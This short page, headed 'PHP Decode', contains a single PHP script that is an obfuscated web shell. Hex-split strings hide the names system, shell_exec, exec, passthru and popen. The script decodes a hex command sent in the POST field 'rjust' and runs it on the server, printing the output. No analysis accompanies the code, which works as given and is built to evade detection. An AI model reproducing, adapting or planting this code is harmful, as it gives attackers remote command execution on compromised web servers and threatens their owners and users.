PHP Decode

<?php 
 
$identifier1 = '73'; 
$identifier2 = '6d'; 
$identifier3 = '68'; 
$identifier4 = '65'; 
$identifier5 = '6c'; 
$identifier6 = '5f'; 
$identifier7 = '63'; 
$identifier8 = '70'; 
$identifier9 = '61'; 
$identifier10 = '72'; 
$identifier11 = '75'; 
$identifier12 = '6f'; 
$identifier13 = '74'; 
$identifier14 = '6e'; 
$identifier15 = '6a'; 
$post1 = pack("H*", $identifier1.'79'.$identifier1.'74'.'65'.$identifier2); 
$post2 = pack("H*", '73'.$identifier3.$identifier4.$identifier5.'6c'.$identifier6.'65'.'78'.$identifier4.'63'); 
$post3 = pack("H*", $identifier4.'78'.'65'.$identifier7); 
$post4 = pack("H*", $identifier8.$identifier9.'73'.'73'.'74'.'68'.$identifier10.$identifier11); 
$post5 = pack("H*", '70'.$identifier12.$identifier8.'65'.'6e'); 
$post6 = pack("H*", '73'.$identifier13.$identifier10.$identifier4.$identifier9.$identifier2.$identifier6.'67'.'65'.$identifier13.$identifier6.'63'.$identifier12.$identifier14.'74'.$identifier4.$identifier14.'74'.$identifier1); 
$post7 = pack("H*", $identifier8.'63'.'6c'.'6f'.$identifier1.$identifier4); 
$rjust = pack("H*", $identifier10.$identifier15.$identifier11.'73'.'74'); 
if (isset($_POST[$rjust])) { 
    $rjust = pack("H*", $_POST[$rjust]); 
    if (function_exists($post1)) { 
        $post1($rjust); 
    } elseif (function_exists($post2)) { 
        print $post2($rjust); 
    } elseif (function_exists($post3)) { 
        $post3($rjust, $st_arg); 
        print join("
", $st_arg); 
    } elseif (function_exists($post4)) { 
        $post4($rjust); 
    } elseif (function_exists($post5) && function_exists($post6) && function_exists($post7)) { 
        $placeholder_prop = $post5($rjust, 'r'); 
        if ($placeholder_prop) { 
            $slt_parameter = $post6($placeholder_prop); 
            $post7($placeholder_prop); 
            print $slt_parameter; 
        } 
    } 
    exit; 
} 
 ?>